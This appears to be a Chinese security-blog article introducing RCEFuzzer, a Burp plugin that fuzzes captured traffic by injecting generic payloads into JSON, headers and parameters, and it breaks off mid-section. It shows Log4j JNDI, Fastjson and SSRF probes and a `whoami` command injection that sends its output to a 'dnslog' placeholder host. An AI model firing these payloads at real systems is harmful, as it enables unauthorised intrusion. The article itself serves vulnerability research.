<p>这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=112950b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgu1P7VjSnhzy3meT9icgW6aYzAMB1KORI6twhjUoePR8ATibyEEKzicGUgosbZShGhM8ghrahQSc0Ig%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 3px;border-color: rgb(143, 182, 249);background-color: rgb(241, 246, 255);"><div style="justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 22px;"><div style="justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-style: solid;border-width: 0px;min-width: 5%;height: auto;"><div style="text-align: center;" powered-by="xiumi.us"><p style="background-color: rgb(255, 202, 0);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><div style="margin-top: 3px;margin-bottom: 3px;text-align: center;" powered-by="xiumi.us"><div style="color: rgb(101, 128, 175);"><p><strong>写在前面</strong></p></div></div><div style="text-align: center;" powered-by="xiumi.us"><p style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;padding-left: 10px;align-self: flex-end;"><div style="text-align: center;line-height: 0;" powered-by="xiumi.us"><p style="vertical-align: middle;display: inline-block;line-height: 0;width: 0.5625px;height: auto;"><img data-imgfileid="100000621" data-ratio="1.112" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=77d6c5bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWgu1P7VjSnhzy3meT9icgW6aibTXqHslAUKb5j0oU5HicricJkXkS6569KHq4swGauxoibjnDEhloQh4gw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="text-align: justify;" powered-by="xiumi.us"><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">1. 这是大概三年前的版本，基本已经停止维护，除非严重 Bug 外不考虑更新。</span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;"> </span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">2. 这个版本是以 Burp 插件的形式存在，新版本是独立的系统，仅在 JJ Team 开放使用。</span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">3. 仅开放 Release 版本作为交流学习使用， jar 没做混淆，实际上和放代码差别不大，作为交流学习使用我认为足够了，拿着源代码做细微调整意义不大，研究学习建议重构。 </span></p><p style="color: rgb(101, 128, 175);text-wrap: wrap;"><span style="font-size: 15px;">4. 欢迎交流学习～</span></p></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: 28%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;"><div style="text-align: center;" powered-by="xiumi.us"><p style="background-color: rgb(139, 219, 199);height: 3px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>01</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>工具地址</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><span class="code-snippet__attribute"><a href="https://github.com/TheKingOfDuck/RCEFuzzer" target="_blank">https://github.com/TheKingOfDuck/RCEFuzzer</a></span></span></p></pre></p><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>02</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>基础介绍</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">这是一个以 fuzz 为中心思想的被动扫描工具，多数扫描器的工作逻辑是以已知漏洞去冲目标，然后根据条件判断是否存在这个已知的漏洞；RCEFuzzer 的工作逻辑是以通用 payload 去污染目标的参数，然后根据条件判断是否存在未知漏洞。</p><p style="text-wrap: wrap;">举个例子，假设被动收集到的流量是：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">POST /sys/customer/<span class="code-snippet__built_in">list</span> HTTP/<span class="code-snippet__number">1.1</span></span></p><p><span class="code-snippet_outer">Host: www.baidu.com</span></p><p><span class="code-snippet_outer">Content-Length: <span class="code-snippet__number">23</span></span></p><p><span class="code-snippet_outer">Content-Type: application/json;charset=UTF<span class="code-snippet__number">-8</span></span></p><p></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;key1&#34;</span>:<span class="code-snippet__string">&#34;value1&#34;</span>,<span class="code-snippet__string">&#34;key2&#34;</span>:<span class="code-snippet__string">&#34;eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9&#34;</span>,<span class="code-snippet__string">&#34;id&#34;</span>:<span class="code-snippet__number">1</span>,<span class="code-snippet__string">&#34;isLogin&#34;</span>:<span class="code-snippet__literal">false</span>,<span class="code-snippet__string">&#34;key3&#34;</span>:{<span class="code-snippet__string">&#34;innerkey2&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;k3\&#34;:\&#34;v3\&#34;}&#34;</span>}}</span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">如果配置了三条通用的 payload ：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">${jndi:ldap:<span class="code-snippet__comment">//dnslog/log4j}</span></span></p><p><span class="code-snippet_outer">`whoami`.dnslog</span></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></p></pre></p><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">那么 RCEFuzzer 的参数污染模块将对目标发起以下请求：</span></p><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1" powered-by="xiumi.us"><li><p><span style="font-size: 15px;">污染 key1 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">污染 key2 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">尝试自动解码 key2 ，并污染子 JSON 的 innerkey1 的值然后分别发包</span></p></li><li><p><span style="font-size: 15px;">污染 key3 的值然后分别发包。</span></p></li><li><p><span style="font-size: 15px;">污染 key3 的子 JSON 的 innerkey2 的值，然后分别发包。</span></p></li><li><p><span style="font-size: 15px;">尝试解析 innerkey2 ，并污染子JSON的 k3 的值然后分别发包</span></p></li></ul><div powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">理论上总的请求量是 3*6=18 次。这仅是参数污染模块，如果带上其他模块，那请求量可能是 50 。如果 payload 写得多点，原流量大一点，那么可能是 5000 次。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">流量过大注定他没法在常规日站的场景使用，给目标写入一堆脏数据，那就得不偿失了。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">对自己日常自己跑起来要挖洞的系统，测试类环境的系统就无所谓。</span></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>03</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>资产去重</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">上面提到流量会非常大，选出需要污染的流量就尤为重要，降低扫描基数，扫描流量也将大幅下降，那么在这个方向上我做了哪些尝试呢：重点参考</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><a href="https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/" target="_blank">https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/</a></span></p></pre></p><p style="text-wrap: wrap;" powered-by="xiumi.us"><span style="font-size: 15px;">除最基本的静态资源去重外，这里面还提到了关于 urlpath 、 query 等的处理的思路，但是不够完全，细心一点的会发现上文中提到的流量：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="json"><p><span class="code-snippet_outer">{<span class="code-snippet__attr">&#34;key1&#34;</span>:<span class="code-snippet__string">&#34;value1&#34;</span>,<span class="code-snippet__attr">&#34;key2&#34;</span>:<span class="code-snippet__string">&#34;eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9&#34;</span>,<span class="code-snippet__attr">&#34;id&#34;</span>:<span class="code-snippet__number">1</span>,<span class="code-snippet__attr">&#34;isLogin&#34;</span>:<span class="code-snippet__literal">false</span>,<span class="code-snippet__attr">&#34;key3&#34;</span>:{<span class="code-snippet__attr">&#34;innerkey2&#34;</span>:<span class="code-snippet__string">&#34;{\&#34;k3\&#34;:\&#34;v3\&#34;}&#34;</span>}}</span></p></pre></p><div powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">这里面的 id 和 isLogin 是没有污染的，因为大部分后端语言都会定义好参数类型，对于整数型、布尔型的参数没有太大污染的必要，徒增报错罢了，除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染，进一步缩减流量。</span></p><p style="text-wrap: wrap;"><span style="font-size: 15px;">这里需要单独再提一下，实践中有很多确认是重复的，比如：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">/order/S09834FVD</span></p><p><span class="code-snippet_outer">/order/S07C34FDCCVX</span></p></pre></p><div powered-by="xiumi.us"><p style="text-wrap: wrap;"><span style="font-size: 15px;">显然两条流量对应了同一后端，是重复的，没必要都扫，但他没有像 uuid 或 md5 一样的固定特征，正则没法解决，看到一些同行的解决方案是上大模型去识别，颇有种工作饱和了没事干的感觉，本质上是区分文本是否为随机的，即将文本分为是否随机两种类型，业界有非常多成熟的文本分类模型训练教程，现成的模型，不用 GPU 就可以快速解决问题。</span></p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>04</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 100);" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>扫描模块</strong></p></div></div></div><div style="text-align: right;margin-top: -12px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><p style="display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 10px;border-color: rgb(216, 226, 255) rgb(255, 255, 255) rgb(255, 255, 255) rgb(216, 226, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">开放的版本中功能覆盖的有限，仅简单介绍一些思路。核心逻辑是递归追加/替换污染，对嵌套的 from-data 、json 、xml 、soap 等进行自动解码、污染、再编码。</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><div style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>JSON 污染</strong></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">对 JSON 污染我个人理解分为以下两类：</p></div><p style="font-size: 15px;" powered-by="xiumi.us"><ol style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>键值污染：对于字符串类型的键值进行增加或替换的污染，除了污染成正常的资产 payload 之外，还可污染成 python 的结构体。</p></li><li><p>替换污染：对整个 JSON 进行替换，换成指定的 payload ，这里主要针对 FastJson 这样的漏洞。</p></li></ol></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">具体一点的例子：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;innervalue1&#34;</span>}</span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:__import__(<span class="code-snippet__string">&#39;socket&#39;</span>).gethostbyaddr(<span class="code-snippet__string">&#39;dnslog&#39;</span>)} </span></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;${jndi:ldap://dnslog/jsonkey}&#34;</span>} </span></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:<span class="code-snippet__string">&#34;innervalue1&#34;</span>,<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>} </span></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;innerkey1&#34;</span>:{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}} </span></p><p><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;@type&#34;</span>:<span class="code-snippet__string">&#34;java.net.Inet4Address&#34;</span>,<span class="code-snippet__string">&#34;val&#34;</span>:<span class="code-snippet__string">&#34;dnslog&#34;</span>}</span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">几种漏洞类型都挺常见的。</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><div style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>header 污染</strong></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">和JSON污染一样：</p></div><p style="font-size: 15px;" powered-by="xiumi.us"><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>键值污染：对 header 键值进行增加或替换的污染。</p></li><li><p>替换污染：对所有 header 的键值污染成指定 payload 。</p></li></ul></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">举个例子：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/</span> <span class="code-snippet__meta">HTTP/1.1</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>www.baidu.com</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span><span class="code-snippet__punctuation">: </span>gzip, deflate</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span><span class="code-snippet__punctuation">: </span>*/*</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span><span class="code-snippet__punctuation">: </span>en-US;q=0.9,en;q=0.8</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span><span class="code-snippet__punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span><span class="code-snippet__punctuation">: </span>close</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span><span class="code-snippet__punctuation">: </span>max-age=0</span></p><p></p><p></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">GET</span> <span class="code-snippet__string">/</span> <span class="code-snippet__meta">HTTP/1.1</span></span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span><span class="code-snippet__punctuation">: </span>www.baidu.com</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span><span class="code-snippet__punctuation">: </span>gzip, deflate</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span><span class="code-snippet__punctuation">: </span>*/*</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span><span class="code-snippet__punctuation">: </span>en-US;q=0.9,en;q=0.8</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span><span class="code-snippet__punctuation">: </span>${jndi:ldap://dnslog/jsonkey}</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span><span class="code-snippet__punctuation">: </span>close</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span><span class="code-snippet__punctuation">: </span>max-age=0</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Forwarded-For</span><span class="code-snippet__punctuation">: </span>`whoami`.dnslog</span></p><p><span class="code-snippet_outer"><span class="code-snippet__attribute">X-Api-Version</span><span class="code-snippet__punctuation">: </span>${jndi:dns://dnslog/456}</span></p><p></p><p></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">像 Host 、Connection 、Content-Type 这类 header 应该跳过污染，避免对请求本身造成影响，一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事，暴力出奇迹。</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><div style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>参数污染</strong></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">JSON 场景下一般就嵌套下转义后或编码后的 JSON ，但 form-data 表单中有非常多出现嵌套其他类型数据的情况，比如参数中嵌套 JSON ，嵌套 XML ，从某些 OA 中能够看出研发为了兼容做的不少 🐂 事。</p><p style="text-wrap: wrap;">同样分为两种模式：</p></div><p style="font-size: 15px;" powered-by="xiumi.us"><ul style="padding-left: 40px;list-style-position: outside;" class="list-paddingleft-1"><li><p>替换污染：常规的命令注入、SQL 注入等等</p></li><li><p>追加污染：后端带判断类的，如校验传入值包含指定字符串时，追加模式将会非常管用。</p></li></ul></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">还是举个例子：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">可以污染成：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></p><p><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&amp;config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9</a></span></p><p><span class="code-snippet_outer"><a href="https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==" target="_blank">https://www.baidu.com/admin/load?host=127.0.0.1&amp;config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==</a></span></p><p><span class="code-snippet_outer">...</span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">为什么要做追加模式在第二个 case 中就可以看出。</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><div style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>SSRF</strong></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">代码抄自：</p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="http"><p><span class="code-snippet_outer"><a href="https://github.com/ethicalhackingplayground/ssrf-king" target="_blank">https://github.com/ethicalhackingplayground/ssrf-king</a></span></p></pre></p><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">作者基本覆盖了常见代码产生的 SSRF 和配置错误导致的 SSRF ，非常受用。这里只是封装了嵌套解析，其他改动不大。</p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: flex-end;padding-right: 17px;padding-left: 17px;"><div style="text-align: justify;font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>其他模块</strong></p></div></div></div><div style="font-size: 15px;" powered-by="xiumi.us"><p style="text-wrap: wrap;">还有很多了其他模块，如响应匹配、文件上传污染、SOAP 请求污染等，但并未在该版本中实现，不再一一介绍。</p></div><div style="margin: 10px 0%;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;width: auto;vertical-align: top;background-color: rgb(245, 249, 255);min-width: 10%;flex: 0 0 auto;height: auto;padding-top: 16px;padding-left: 16px;border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;line-height: 1;align-self: flex-start;"><div style="text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(194, 209, 255);align-self: center;"><div style="color: rgb(255, 255, 255);padding-right: 6px;padding-left: 6px;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><strong>05</strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;margin-left: 11px;padding-right: 29px;"><div style="font-size: 17px;color: rgb(100, 100, 